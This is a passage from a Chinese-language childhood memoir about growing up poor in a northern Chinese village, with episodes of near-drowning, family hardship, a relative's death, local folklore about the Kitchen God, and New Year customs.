打雷了。我去上学的时候,才听说我的同班同学,娄庄的小灰,他的哥哥被雷劈死了。小灰个子还可以,不是太好看,成绩也不太好。听说他哥哥长得很俊,又懂事听话,打雷的时候,他正从河边回家,怀里抱着个收音机。听说劈在了背上,还刻了字,被人用席子盖着。人家说,他今世是个好孩子,可是前世干了坏事了。可怜一个多俊的小青年就这样没有了。他的未婚妻有情义,还来看他哭他。 小灰好些天没来上学。他的课桌一直空着。 有一天,我们上学路上,迎头走来了小灰,他高高瘦瘦的,在前头昂着头走着,后头跟着他的快要疯了的娘。小灰以前很是调皮,可是在他哥哥死去以后,他在那几天里肯定是很快地长大了。长大了的表现就是不爱说话。是的,小灰在他娘前头走着,闭着嘴,不说话,看见了我们也不说话。她娘疼大儿疼疯了,每天去大儿坟上看她的儿,家人不放心,就让她二儿子跟着。小灰打那以后就不上学了。小灰其实并不灰,他那时候因为成绩不太好,贪玩,不爱学习,我们才觉得他灰。他其实是好看的,他有着白白的,瘦长的脸儿,个子高高的,穿着蓝白的衣裳。他哥哥长得很俊,所以他长得也不会赖。只是以前,我们只觉得他成绩不好,又调皮,就连他的长相也一并觉得讨厌了。 可是我们这些孩子还是会去张庄后头那条小河里去洗澡。那是夏天,庄后头的几户人家的篱笆上挂着开水锅里煮过的豆角,晾在阳光下,拿起来一串吃一口,有一股子阳光的味道。 庄后头的地里种着西瓜,也没有人看管。地里匍匐着一个个圆头圆脑的西瓜,翠衣,黑纹路,在夏天的阳光下格外喜人。有好几个西瓜被人敲开了,露出鲜红的西瓜瓤,诱惑着我们这些一二年级的孩子们。我忍不住上前抱住一个,扯住西瓜秧扭下来,那个西瓜真的就属于我了。 没有人看见,没有人喊叫,没有人追赶,真好。 我们洗澡的小河河面很宽敞。我们说是去洗澡,其实是去玩水。有的在河边玩,有的胆子大的去河中央水流湍急的地方去玩。她们说,像我们这些不会游泳的,水性不好的,只能在河边玩。往河里头走,是堰水窝子,会掉进去。 我一开始谨遵教诲,不敢往里去。慢慢地试探着,发现往里走也没有她们说的那么深,我就试探着继续往里去。不知道什么时候突然脚下一打滑,我踩不到水底了,在水里晃荡了起来。我落水了。我试着自己扒拉着游出去,没有用,我根本不会水。 此时,我惊慌失措。我举起右手在水里跳起来呼救,希望有人能看到我,能来救我。可是没有。我在水里惊呼雀跃。肚子里进了一口一口的水。水扑打着我的脸,我出不去,喘不过气,慌乱地在水里扑打着。那时候如果再没有人来,我这条小命可能就搁在这里了。 其实,落水的感觉并不那么难过。因为你在惊慌失措中慢慢地被水淹没,水浸泡着你的脸,进入了你的嘴巴鼻子和耳朵,你胡乱地挣扎求救都是枉然,慢慢地你会耗尽体力,昏头昏脑地就失去了知觉。 不知道是谁,大概是老天派来拯救我的,好像是一个小女孩,她走到了我旁边,伸手拉了我一把:“来,到这边来。”她轻轻地说,轻轻地拉着我。我紧紧地抓着她的手,一个转身就到了安全地带,我离开了那个漩涡,我脱险了。脱险以后的我,并不清醒,我来不及看看她是谁,来不及跟她说一声“谢谢”,就开始朝地上大口大口地吐水,同时,我把耳朵倒向一边,极力地往外控出耳朵里头的水。等我处理完了脑袋里耳朵里嘴巴里的水,我身边的人都一个个地走了。我也昏头昏脑地惊魂未定地走了。 我的恩人呢?她在哪?她是谁?她去了哪里?我都不知道。我这辈子都不知道了。我那时才七八岁。 爸爸妈妈让我们晚上自己睡觉。他们两个要趁着半夜去河沿抓螃蟹。我害怕我们自己睡觉,我也不知道我爸妈为什么要趁着夜里去河沿抓螃蟹,是因为夜里的螃蟹好抓呢,还是因为白天去的话,人家包了河沿的不让抓呢。我就胆战心惊地跟我弟弟妹妹一起睡觉。 快到半夜的时候,我爸妈才回家,洋铁桶里装了很多小螃蟹。 第二天,我妈妈把它们炒了,装在大碗里,一个个五分钱硬币大小的橙红色的小螃蟹,很是可爱,但是壳多肉少,并不美味。我不怎么爱吃。妈妈把那些小螃蟹卷在煎饼里头吃。她像是举着一把盒子枪似的,举着她烙的厚厚的大煎饼,她连煎饼一起咬一口,咯吱咯吱的。我妈妈烙的煎饼一点儿都不好吃,我一点儿都不爱吃,只有她自己爱吃。那粗糙的煎饼,也只有她,才能吃起来香香的。 5. 马蹄表、长果饼 冬天,庄里为了安全,组织了各家的壮劳力,当做民兵,半夜里绕着庄值班。轮到我爸爸值班了,我妈妈跟我爸爸说:“你带上个家伙什儿吧?” 我爸爸说:“不要带,哪有什么事儿。带着麻烦。” 我妈妈说:“你还是带上吧。别遇上小贼儿。你要是嫌麻烦的话,就把咱大锅底下的铁铲子带上。防身。” 我爸爸听了我妈妈的话,就把我家的烧锅的铁铲子带上。 我早上去上学,基本上靠妈妈叫我。我自己经常一大早就睡不着了,早五更就起来,背上书包,去等跟我一起上学的同伴。可是天色还早,月在中天,整个村子静悄悄。家家户户插着大门栓。我就背着书包到爷爷家大门前去等。 一个大早上,不知道是几点,我挎着书包站在爷爷家门前,我爷爷还没有开门。我爸爸值夜班转悠过来了,他拿着我家烧锅的铁铲子,看到了我,就问我怎么起得那么早。然后他又去村里转悠去了。 那是一个冬天,月光照着庄里白茫茫的。寂静的夜里,有我爸爸在,我觉得很安全。等我爷爷开了门,我走到屋里以后,爷爷觉得天太冷,就抱来一大捆麦瓤,或是玉米棒子,给我烤火。我烤得暖烘烘的再去上学。 有时候,天黑黑的,我们一群上学的小孩就一批批地,成双结对地朝学校进发了。路上又黑又冷,有的胆子大的小男孩随身带了一盒洋火,走到半道上,扯了人家麦瓤垛上的麦瓤来烤火。到学校以后,学校看门兼出大粪的老大爷还没起,我们就在大门外等。学校的围墙高高的,带尖头的铁大门也是高高的。等半天,耳朵有点聋的老大爷才来给我们开门。 我家一开始没有任何钟表,只有爸爸手腕上的一个银色的手表。我上学老是害怕迟到。有一次下午不上课,我在家里睡觉,醒来正是傍晚,天色朦胧。我以为是早上,背起书包就朝大门走去,要去上学。我妈妈告诉我是晚上,我还是不相信。我妈妈提醒我说:“你看,咱家正准备吃晚饭呢。真的不是清起。”我这才放下心来。 后来我爸爸看我上学老是怕迟到,就给我买了一个小小的、金黄色的马蹄表,放在我家屋里间,订上闹钟,我就不怕早上迟到了。 那些日子,庄里很多人家都开始架电了。我家穷,没有架电。庄西头儿吕二大爷家的小娟姐去我家找我玩的时候,笑着问我爸爸说:“大叔,恁家架电了吗?俺家架电了。” 我爸爸耷拉着眼皮说:“没有。” 小娟笑着说:“要架电啊,有了电,多方便。以后的生活就是,楼上楼下,电灯电话。” 我爷爷奶奶家早就架上了电。我奶奶跟我说,不要去碰插头,会被电着。我不知道被电是什么样的感觉。一天晚上,我跟着我奶奶在家,我奶奶拉开了电灯。我看着我奶奶家条几上的插排,就想试试,把手插进插孔里到底是什么感觉。等我奶奶去门口儿的空儿,我瞅着她没看见,快步走到条几前,对着插排,把我的食指向着插孔插去。“呲”的一下,我的手指麻了一下。我赶紧把手指抽回来。悄悄走到屋门口儿。我奶奶只顾着跟人说话,根本不知道刚才发生了啥。 我爸爸晚上回家有空就辅导我。有时候,早上去上学,我爸爸用开水冲一个鸡蛋,再倒上白糖和浓浓的香油,我吃地暖暖和和的再去上学。我爸爸觉得他那样很疼我,可是,我觉得那香油太浓,那掺了白糖的鸡蛋太甜。 在我爸爸的辅导下,我慢慢地会写字了,成绩也不错,课堂上表现也机灵。 “俺老师今天又表扬我啦!”我回家告诉爸爸妈妈。 “恁老师又表扬你了?让恁爸爸奖励两块饼干!”我妈妈笑着说。我爸爸也笑着去拿饼干。饼干放在一个小箢子里头,一根绳子吊在梁头上。每次爸爸伸手拿饼干的时候,我都特别期待。那种饼干,干吃香脆,泡着吃也是又香又甜。 爸爸抽出来两块饼干给我,再抽出来两块给我弟弟和妹妹。那种钙奶饼干,散发着它的红黄相间的包装纸的味道,真好吃。 为了给我们补充营养,我妈妈让我爸爸从北山里买了长果饼,切成小块给我们吃。那时候我们给花生不叫花生,叫长果。 有一次,我跟吕二家大爷家的小娟姐一块儿,坐在人家墙根下头的水泥地上玩儿。 我跟她说:“大姐,你搁这儿等着。我回家去拿长果饼给你吃。俺爸爸从北山里买了长果饼。” 小娟姐说:“行!” 我说:“我把我的小刀儿搁在这儿,你给我看着。” 小娟姐说:“行!” 我说:“你可得给我看好,你不会给我看没了吧?” 小娟说:“不会!你放心!” 我说:“那我回家了。我过会儿就回来。” 我回到家,跟我爸爸说:“爸爸,我想吃长果饼。” 我爸爸去东屋里间把长果饼拿出来。长果饼像喂猪的豆饼一样,圆圆的、厚厚的,比豆饼还要干,比豆饼还要硬。 爸爸把长果饼放在桌子上,用菜刀狠狠地切下去,一小块一小块的长果饼,连同香香的碎渣渣,就掉落在桌子上了。我把那些碎渣渣都拈起来,放进嘴里。把大块的长果饼装在挎包里。 “我出去玩儿了。”我跟我爸爸妈妈说。 “长果饼别给人吃!人家都有!就咱家穷!”我妈妈说。 “哦!”我嘴里答应着。 我挎包里装着长果饼回到了我跟小娟姐先前玩的地方。小娟姐还是坐在原地等我。 “呐!大姐,给你长果饼吃!”我说。 小娟姐笑着把长果饼接过去了。 “我的那把小刀儿呢?大姐?”我问她。 “不知道哦,我没看到哦!”小娟说。 “我不是让你给我看着的吗?”我焦急地在地上看着说。 “我看着看着就没有呢。不知道弄哪儿去了呢!谁知道被谁给偷走了。”小娟说。 我朝那块水泥地上望了又望,没有我的那把小刀,只有小娟大姐。 “你没给我拿去吧,大姐?”我问她。 “我没拿!肯定是旁的小孩儿给偷走了!”小娟说。 “哦。那咱坐着玩儿吧,大姐。” 6. 银孩子、皮帽子、小靴子 过了一段时间,我爸爸不能经常辅导我的学习了,他跟朱可叔叔一块儿走街串巷收酒瓶子来卖。我的学习只能靠我自己。 海良那阵子跟我爸爸处地很好,他时常和朱可叔叔一块儿去我家跟我爸爸妈妈说话拉呱,他们一直拉呱,一直到天黑。我还是个小孩子,就在旁边静静地听着他们说话。我还是把海良当做我爸爸妈妈的好兄弟,还是跟他叫三叔。 “过去那些大财主,都是把银子装到坛子里。一坛子一坛子的埋到地底下。”朱可说。 “人,该到你发财,走时运。你搁当天井里都能挖到金银财宝。该到你破财,没命担了,你埋到地里的那些一罐子一罐子的金银财宝,自己就长腿儿跑了。去找有命担它的人了。”我妈妈说。 “是的。要是该到你破财,你埋到地里的那些银子,等你再去挖的时候都能变成水儿。”朱可说。 “那咱这些穷人,也无怪咱穷,咱是没命担。”我爸爸说。 “恁家天井里是有财气的,大哥!”海良跟我爸爸说,“恁家还没盖这个屋的时候,一天晚上,天刚上黑影儿,我就看到一坛子白白的东西,挪着步儿,从恁家墙西头儿,挪到了你家墙东头儿。” 海良的话,不管是真是假,都让我们全家感到鼓舞。 “是的,是有银孩子的,有人看到过。煞白!在地上挪着走!”我妈妈说。 我听了这话,心里更加害怕了。我想象着银孩子的模样,他肯定是白白胖胖,矮墩墩,发着银色的光芒,然而他又是个小孩子,所以他走地很慢,他慢吞吞地,挪着步儿。我这一想,心里更加害怕了。 我听地入迷,同时感到害怕,我不敢出去拉屎了。 我跟我妈妈说:“我想去拉屎。”意思是希望我妈妈陪着我去。 我妈妈就说:“你自己去当天井来拉吧!让恁三叔给你看着点儿,就在外头拉吧,回让恁爸爸锄了!” 海良就从屋里走出来看着我拉屎。当时是晚上,天井里上了黑影儿,也不太能看清对面的人。我虽然是个六七岁的小孩子,但我已经知道尴尬了。但是毕竟是小孩子,我妈妈让海良给我作伴儿,我也没有办法,我就这样不尴不尬地在海良对面拉了屎。等我拉完屎,我妈妈又说:“让恁三叔给你擦擦腚。” “我自己擦。”我说。我在天井里捡了个小石头,擦了擦腚,又回屋里去了。 那时候,我们擦腚都是用小石头,实在不行,土坷垃也行。烟纸都是很少的。嗐!穷人都是怎么过的。 “咱庄上来了一批扶贫的衣裳,庄亲事邻,谁家来大人小孩儿缺衣裳的,都来大队部领衣裳了!”战海大叔在大喇叭里喊着。 我跟着我妈妈抱回来好几件冬天的衣裳。 我指着一件绛红色的棉袄,跟我妈妈说:“这件棉袄我上学穿!” 我妈妈说:“这件衣裳是包里儿的,还是好衣裳来。就是不知道是什么人的。我怎么看到这里子上有血的,别是什么死人的衣裳吧。” 我把那件棉袄从我妈妈手里抢过来,说:“我不管,我就穿它。” 我小时候也有过一顶很漂亮的帽子,那是我二叔买给我的一顶红红的棉帽,圆圆的帽围子,平平的帽顶子,倒过来像个小篮子,我又可以戴,又可以提着玩儿。整个帽子像个红彤彤的柿子,可爱极了,温暖极了,那是我记忆中最可心的一顶帽子。可是长大一点以后,再也没有人给我买过新帽子了。 冬天去上学,我妈妈非让我戴上一顶皮帽子,那顶棕褐色的皮帽子不知道是谁给的,黑黑亮亮的皮面儿,黄黄的绒里,还有两个帽耳朵。我一个小女孩,戴上皮帽子,实在不好看。而且,不知怎的,我戴上那顶皮帽子以后,头皮就开始痒痒。 我戴着皮帽子上学,迟到了。教室里的人早就坐满了,牛老师的小女儿正看着他们写字呢。感情她是来替父出征的。 “迟到的站着,靠墙站成一排!”我就老老实实地站着。 “你叫什么名儿,怎么迟到的?”她问我。 “我叫宋大省!”我说。 她好像从她父亲的嘴里听说过这个名字,就对我说:“宋大省坐下吧,其他人站着。” “来!吃馒头。”她对她身旁的小女孩儿说。那个很小的小女孩儿还没有上学,那应该是她的小侄女或是小外甥。她往那小女孩嘴里塞了一口馒头,又往自己的嘴里塞了一口。 “来!恁都好好写字。”她对我们说。 她站在我的身边,俯身看着我写字。 她问我:“宋大省,你丑吗?” 我笑笑,不说话。 她就拿过我的铅笔,在我的作业本上写下几个大字:宋大省,丑。 那字大大的,在我眼里很是大气、好看。同时又让我觉得她的话里似乎有几分真,也有几分假。她说我丑?我还不至于那么丑吧?但是那天我戴着皮帽子,我又确实很丑吧。 她说我丑是因为我戴着皮帽子吗?我更加不愿意戴皮帽子了。 人家给我奶奶一顶用白色和绛紫色毛线织的六角花帽,上面有一根直竖着的小尾巴。整体造型有点像唐僧的帽子。我就戴着这顶花帽上学。但是这顶毛线织的花帽又薄又透风,我经常冻地鼻涕哈拉的。我妈妈每次在我上学的时候就喊着:“皮帽子!皮帽子!”但我就是不肯戴。 有一次,我戴着我的那顶花帽从教室里出来玩,被几个四五年级的大女孩看到了。那几个大女孩年级比我高,年纪比我大,她们几个好像是大泉的。我一看她们,就知道她们成绩不好,性格又特别泼辣。 一个大女孩儿指着我的帽子说:“你看她的帽子,上头还竖着一个小嘎嘎呢!” 我从来没想到我这顶像唐僧的帽子居然受到了这种羞辱。但我那时候太小,没有胆子跟那几个比我大的女孩争吵。我悄悄回到教室,自己回味着她对我的羞辱,和我的花帽存在的问题。人生不经意间就会遭受一些不如意,让你受了委屈,还说不清道不明。我实在搞不懂,到底是她心地有问题,还是我的花帽有问题,还是二者都有问题。 经过这一次打击,我更不愿意戴帽子了。我被冻地淌鼻涕,我妈妈就天天骂我:“活该!不多一点儿!不戴皮帽子!皮帽子不戴!” 那时候,我很馋,老是偷吃我家的咸菜。咸菜吃多了容易咳嗽。又加上是冬天,不知道是因为天寒还是因为偷吃了咸菜,我咳嗽起来更加厉害。 早上,我睡在被窝里还没起。我听到我妈妈在窗户棱子外头跟我爸爸说:“大省不是气管炎吧,吞咽子里吼吼儿的,跟小鸡儿似的。大省不听话,让她戴皮帽子,就是不戴。她还光偷吃咸菜。”我睡在被窝里不吭声儿,我从我妈妈的话里听出来,她还是很关心我的。 从我爷爷家,去南家前,一路都是青石磊成的院墙,有的人家墙外种了瓜蒌,黄橙橙的,懒散地坠在枯萎的秧上,我喜欢这种黄橙橙的颜色,我喜欢这种黄橙橙的感觉,这是老家的颜色,这是老家的感觉。 南家前是二爷爷一家。这个二爷爷跟我爷爷是一个老奶奶的。二爷爷、二奶奶年纪大了,不用干农活,都穿得很整洁。二爷爷是一身深蓝色的棉袄,带着黑黑的火车头帽子,他大概是因为爱抽烟吧,经常咳嗽,声音小小的,有点像女人的声音。二奶奶穿着蓝色的带大襟的褂子,长长白白的大脸,左边眉头上有一颗花生米那么大的黑痣。 二爷爷、二奶奶跟二叔、二婶子住在一块儿。二叔两个孩子,大女儿叫兰兰,小儿子叫开放。兰兰像妈妈,眼睛大大的,黑黑的,两个腮帮子红红的。开放单眼皮,样子像他奶奶,也像他爸爸。 二奶奶家墙西,隔着那条种瓜蒌的南北小路,是金山大爷爷、大奶奶家,他们是艳飞大姐的爷爷奶奶家。这个大爷爷跟我爷爷是一个奶奶的。大爷爷天天拄着拐杖,走路歪歪倒倒,嘴角流着口水,不怎么会说话了。我见面喊他一声“大爷爷”,他就“啊!啊!”地回我。他身上有一股子酸酸的不好闻的味道,大奶奶也不怎么待见他。听说年轻的时候,大爷爷是武装部的,看不上大奶奶。大奶奶生了五个儿子,自己身体也不是很好,小脚,黧黑的小脸常常微微地不自觉地轻轻摇动着。大奶奶也不怎么说话,只默默地带着她闺女的孩子。 大奶奶喂了几只鹅。她把鹅蛋煮了喂小孩。她喂小孩的时候,用筷子把鹅蛋戳一个小洞,一点点地把蛋白蛋黄掏出来,喂她跟前的小孩儿。直到整个鹅蛋被掏空,一个蛋壳子轻轻松松地在桌子上立着。我没吃过鹅蛋。第一次见人吃鹅蛋,就是从大奶奶那里看来的。 那个冬天,金山大爷爷去世了。他是自己栽倒在了炉子上,身边没有人。当时下了“薄屎”大雪,大雪边下边化,地上全是泥水、雪水。我放学回来,没有雨靴,我爸爸就去接我,一路背着我回家。 我爸爸背着我走在奔板栗行的那条沙土小路上。给艳飞大姐看到了。 “俺大叔来接俺大妹妹放学的!”艳飞大姐说。她穿着小雨靴,走在小路另一边,靠北的那边。 “艳飞爷爷死了。”我爸爸看了看艳飞大姐说。 “啊?俺爷爷死了?”艳飞大姐说,“那我明天不要去上学了!哈哈哈哈!” “你家去,到恁大奶奶家吃饭。我去给你买双雨靴。”我爸爸跟我说。 我跟着爸爸妈妈去大奶奶家里吃饭,艳飞大姐也在那里。她穿着平时穿的红色的小棉袄,头上戴着逝者的孙女戴的孝帽子。那孝帽子是一圈白色的孝布围在她的帽子上,让艳飞大姐看起来更加有趣可爱。艳飞大姐并没有什么悲伤,她兴致勃勃地在熙熙攘攘的人群里,窜来窜去。 “咱大爷怎么这个时候死的,下着薄屎大雪!亲房近街的磕头跪炉子的,可受罪喽!都弄地泥木陷狗儿的。”我妈妈说。 “人都是有数儿的。他生人的时候什么天,结婚的时候还是什么天。到他临死的时候,还是什么天。”我爸爸说。 第二天,我穿着我爸爸给我买的粉色的小雨靴去上学。小雨靴的靴子筒上,靠近膝盖的地方,有一个很小的蓝黑色的小马。 “恁爸爸跑到张庄供销社给你双的。”我妈妈说。 “我穿着正好!”我说。 “你不给她买大一点儿的的?小孩儿的脚长得快。长大了就穿不上了。”我妈妈对我爸爸说。 “大了走路不跟脚儿。”我爸爸说。 “她要是脚长大了穿不上呢?”我妈妈说。 “长大了再买哎!”我爸爸说。 这双雨靴让我风光了好一阵子,那是我童年记忆中为数不多的新鞋子之一。 7. 农历二月十七,我爸爸去世了 1.“好好学习,天天向上” 放寒假的时候,我得了一张“三好学生”的奖状。放学回家的时候,艳飞大姐恳求我说:“好妹妹,你得了奖状,我没得。你回家的时候,别把奖状拿在手里给人家看到,你把奖状塞到书包里行吧?”我说:“行!” 放学的时候,我真的就把奖状塞到书包里。我跟艳飞大姐一起走到北荆堂的碾跟前的时候,一群老嫲嫲坐在那里拉呱儿。我看出来是千里他姥娘,也就是文利大娘的娘,茂可奶奶,还有阔儿他娘。 我就一个个跟她们说话:“大奶奶!大奶奶!大娘!” “哎!你看大省儿嘴多甜!都是她妈妈教的。放寒假了?得奖状了吗?”千里他姥娘说。 “得了!”我亮亮地说。艳飞大姐低着头,不吭声儿。艳飞大姐家到了,她进去了。我赶紧从书包里把我的奖状拿出来,卷成筒儿拿在手上。 我爸爸看到了我的奖状,他很开心。他亲自用毛笔在奖状两边写上:“好好学习,天天向上”。他把那张奖状贴在我家饭桌子右上角的北墙上。贴在杨宗保穆桂英上方。那是我人生里第一张奖状。 过年了,荆堂东边儿郑村的大喇叭里响起了《郭丁香》。郭丁香和妹妹清明出游,姐姐穿着红裙子,丁香穿着绿裙子。财主张万仓看上了郭丁香,千方百计求娶回家。婚后四年,郭丁香未曾生育。张万仓变了心,又勾搭上了李海棠,成日在外浪荡。丁香在家里勤劳纺织,张万仓却急着一直休书休了丁香,另娶海棠。 郭丁香悲悲切切地唱着。 “丁香偏房犯愁肠,又听俺丈夫唤丁香。 昨天丈夫要休我,多亏俺婶子大娘把情来讲。 今天丈夫又把我来唤,时时刻刻我这里要提防。 我这里上前施一礼,他不言不语也不搭腔。 走上前来施二礼,他哼了一声面朝西方。 一见丈夫心生气,双膝扎跪在大客堂。 我一见休书我的心如刀扎。 张郎夫你稳坐大客堂,你听我表表当年夫妻情肠。 俺本是黑凤楼前的郭家女,你本是凤凰庄上的张大郎。 那时间你放学打俺的门前过,偶遇俺姐妹二人去采桑。 穿红的本是俺大姐,穿绿的本是我郭丁香。 你看俺丁香长得俊,回到家中欧你爹和娘。 郭丁香嫁给你张大郎。 你八月十五下的彩礼,我入洞房那天是九重阳。 进房来先叫姐姐后叫俺妹,一会儿改口喊我姑娘。 那时咱相亲又相爱,一小会儿也不离我身旁。 我只说咱夫妻能到老啊张郎,哪知你半路起下狠心肠!夫啊。” 丁香被张万仓一纸休书遗弃,孤身一人走在路上,不知去往何方,恰遇善良的范三三,丁香被其搭救回家。三三老实善良,与老母亲同住,因为家境贫寒,尚未婚配。不久后,丁香与三三结为夫妻,生下一儿一女。 张万仓后来败光家业,乞讨为生。这一天他乞讨来到丁香门儿上。丁香认出了他。在为他盛汤的时候,丁香摘下自己的戒指放在汤里,端给张万仓。张万仓低头喝汤时,认出是丁香的戒指,大为吃惊:“丁香,我妻!丁香!我妻!”待他抬头看到丁香,羞愧难当,一头撞死在丁香家的灶台上。从此天上人间,有了一个灶老爷张万仓。 大年二十三这天,是远人归家,家人辞灶的日子。晚上,点上灯,爸爸找来两根秫秸,扒掉皮,只剩下软软的内瓤儿。他用这内瓤儿为身,用秫秸的硬皮为蹄子、为尾巴、为犄角,做了一匹可爱的小马。再做一个小人儿,骑在那匹大马上,那小人儿就是张万仓了,张万仓就是灶老爷。 “灶老爷骑着他的小马上天去了!上天言好事,下界保平安。”我爸爸说。 妈妈说:“刷锅的时候,不能敲打锅沿儿,锅沿儿是灶老爷的脖子。” 话说有一个书生,在他上学的路上,每逢要过河,总有一个白胡子老头儿来背他过河。他就问那白胡子老头:“你怎么天天来背我过河啊?”白胡子老头跟他说:“因为你是天上的文曲星下界,天生一副主贵的皮囊,以后要中头名状元,玉皇派我来背你过河的。” 书生回到家,把这事儿跟他的母亲说了。 他的母亲听了以后非常高兴,就在刷碗的时候,敲打着锅沿儿说:“俺儿子是文曲星,等俺儿子中了状元,俺有恩的报恩,有仇的报仇!把得罪俺的全都杀光!” 灶老爷被她敲打地受不了,就去玉皇那里告状:“这个书生不能让他中状元,他娘天天敲我的脖子,把我的脖子敲地青一块、紫一块。他娘还说,等他中了状元,有恩的报恩,有仇的报仇,把得罪她的人全都杀光。” 玉皇一听,说:“这还了得!是不能让他中状元!派小鬼小派去,给他换上一副贱骨头!” 这一天,书生又到了河边,背他过河的小老头来了,对他说:“这是我最后一回背你过河了。我以后不能背你过河了!恁娘刷锅的时候敲打灶老爷,灶老爷到玉皇那里告状了。今天夜里,玉皇就派小鬼小派,来把你的主贵的骨头抽掉,给你换一身贱骨头。” 书生一听要扒皮、抽筋,难过地哭了。小老头叹了一口气说:“看在我每天背你过河的份儿上,我对你说一个办法:小鬼、小派来扒皮、抽筋的时候,你再疼也咬紧牙关,不要松口儿。那样,你还能保存一口好牙,虽说中不了状元,也能吃一辈子好东西。” 书生听了小老头的话,等深更半夜,小鬼、小派来到,来换掉他的主贵的骨头了。他浑身疼痛难忍。但是他记着小老头的话,咬紧牙关,保存了一口好牙。这以后,他当了一个教书的先生,还能吃一辈子好东西。 妈妈跟我说:“这就是说,为人要敬天敬神,当爹娘的也要给儿女积德。别说聒天的话,别做聒天的事儿。人行好事、莫问前程。” 过年了,家家户户都要贴一张灶老爷的画像。灶老爷身边一左、一右,两个灶奶奶,一个是郭丁香,一个是李海棠。两个灶奶奶,我看着一模一样。我爷爷指着右边的那个灶奶奶说:“右边这个是郭丁香,她是正宫。左边那个是李海棠。” 我爸爸给我家和我爷爷家写了对联,还用剩下的小红纸条儿,写了很多“酉”字。我把它们一个个贴在囤上,缸上,桌子腿儿上,板凳上。 爷爷说:“贴‘酉’字,是怕这些东西,年岁久了,成了精。”我于是畏惧了起来。琢磨着那些没贴“酉”字的扫把上,有没有精魂。 爷爷从他放零碎东西的四角的升里,拿出一个锤子,在黄纸上一锤锤地敲下去,黄纸上一个个铜钱印子鼓起来。这些满载着银钱的黄纸就可以拿到祖坟上烧了给祖宗了。 年三十的时候,我们家的春联贴起来了。我爷爷家贴的是“人寿年丰”“人财两旺”。我家大门上的春联是毛主席的诗词:“中华儿女多奇志,不爱红装爱武装。”横批是我爸爸自己出的:“宁折不弯。” 过年的时候,我妈妈难得有空儿给我扎个辫子,她边扎辫子边唱着歌儿:“人家有钱买花戴,我爹无钱不能买。买上二尺红头绳儿,给我的喜儿扎起来!扎呀扎起来!” 我知道她唱的是杨白劳给他的闺女扎辫子的歌儿。我自己也会唱,那首歌儿我妈妈早就教会了我:“北风那个吹,雪花那个飘。雪花那个飘飘,年来到!大婶那个给俺,包饺子的面,我盼我的爹爹,回家过年!我盼爹爹快回家,欢欢喜喜过个年!欢欢喜喜过个年!” 这几段歌儿是属于我的。 还有一段歌儿,是喜儿跟大春哥结婚的时候唱的,那是属于妈妈跟爸爸的: “北风那个吹,雪花那个飘。冰天哪个雪地哎两只鸟。鸟飞那个千里情谊深长,双双那个落在树枝上。鸟成对来树成行,半间草屋做新房,半间草屋做新房!” 一大早,我爸爸砍下几棵竹子,让我扛着,给亲戚朋友家送去。我一根根地扛着那些竹子,给文利大爷家送去,给我爷爷家送去。青青的竹子插在天井里的石磨眼里,磨眼里再插上几枝松枝,给家家户户增添了很多青绿。 新年过后,爸爸请跟他一起贩酒瓶子的朱可大叔吃饭。那天,我爸妈馏了一锅大馒头。那些馒头有的炸了口儿,露出甜甜粉粉的绿豆。 “吃吧!兄弟!你捡大的拿!”我爸爸招呼朱可大叔说。 “行!大哥!恁怎么馏恁么些馒头的,够吃的就行了。”朱可大叔跟我爸爸客气说。朱可大叔跟我爸爸一样,都是个老实人。他只看到那些大馒头,他不知道那些大馒头一点都不新鲜了,都有一股子陈味儿。 “都是搁南乡的时候,小鲁村的人给的。恁大嫂子都给晒地焦干焦干的,装到袋子里,想吃了就拿出来馏馏。” “俺家还有可多饺子了!有荤有素,各种各样的包法,各种各样的味道。”我妈妈笑着说。 “那恁不给俺大叔吃饺子的?”我问我妈妈。 “时间长了,馅子变味儿了。”我妈妈说。 “我喜吃。变味儿了才好吃呢。”我说。 “饺子留着咱自己吃。不能拿变味儿的东西来照应恁大叔哎。”我妈妈说。 我家正堂屋的房梁上,有一个很大的燕子窝。春天里,黑黝黝的燕子伸长了翅膀飞来飞去。那么大的一个窝,那么多的一堆泥。谁也不知道它是什么时候开始筑的窝,谁也不知道它是在哪里衔的泥。反正,当我看到它的时候,那么大的一个燕子窝就好端端地在那里了。 小燕子在窝里叽叽喳喳地喊妈妈,老燕子飞来飞去,喂养着它。 我妈妈说:“燕子是喜鸟,它在谁家里做窝,预兆了谁家有喜事。燕子窝是好的!可不能投哈!”因为妈妈的话,我从来不去投那燕子。也不让我弟弟去投那燕子。我弟弟是很爱投鸟窝的。那窝燕子就在我家好好地,由着它来,由着它去。后来,不知道是什么时候,它还是走了。因为我家的人不常在,因为我家的门不常开。它要吃食,它要喂养它的孩儿,它怎么可能不走呢。 牛老师教我们念《三字歌》,牛老师先教我们念,再让巧云教我们念。巧云是上一届的留级生,牛老师让她到讲台上拿着教杆教我们念: 升国旗,要敬礼。唱国歌,要肃立。 尊长辈,爱幼小。孝父母,遵教导。 会使用,文明语。遇外宾,要知礼。 帮残疾,乐助人。不打架,不骂人。 要诚实,不说谎。损公物,要赔偿。 捡东西,要上交。借东西,要归还。 “先让一句一句地念,念熟了,再背。”牛老师说。我们哇啦哇啦地读啊背啊。 牛老师问:“有会背的吗?谁会背啊?谁会背的举手!” 我举起手来,我会背了。 放学回家的时候,我沿着板栗行下的麦苗地一路走回家。我身后,有很多跟我同班的同学,小二、大虎子他们,他们还不会背《三字歌》呢。我一路高兴地想着,走热了,把我的小棉袄给脱了下来。 等我到了我奶奶家门口儿的时候,看到了老娄老奶奶。 “老奶奶!”我喊道。 “哎!孙女子放学了?”老奶奶笑着问我。 “嗯。” “‘吃了端午的粽儿,才把棉袄扔。’这才刚二月二来,你就把小袄儿闪了?”老娄奶奶跟我说。 我笑一笑,又把小袄儿穿上。是的,二月二了。我爷爷家大门口儿,荆堂家家大门口儿,都用灶膛里的灰画了一个又一个大圆圈,大圆圈里套着小圆圈。那些圈圈代表粮仓,代表粮囤。代表着大家期盼个丰收年的决心。 回家见了我奶奶,我跟我奶奶说:“奶奶!俺学《三字歌》了!我都会背了,俺牛老师还表扬我呢。” 我奶奶对《三字歌》和我受不受老师的表扬并不感兴趣。 她耷拉着眼皮说:“噢,你学《三字歌》了啊?” 我说:“嗯,我都会背了呢。奶奶,我背给你听:升国旗,要敬礼。唱国歌,要肃立。尊长辈,爱幼小。孝父母,遵教导。会使用,文明语。遇外宾,要知礼。” 我奶奶突然兴奋地站起来说:“我知道了,遇外宾,要直立。就是恁大姑来了,你要赶紧站起身来,向恁大姑行礼。‘大姑好!’恁老师是这样说的吗?”我奶奶笑嘻嘻地说着,表演着,沉浸在她遇见她闺女的幸福中。 我当时对这句话也是似懂非懂。 我就看着我奶奶说:“嗯。俺老师是这样说的。” 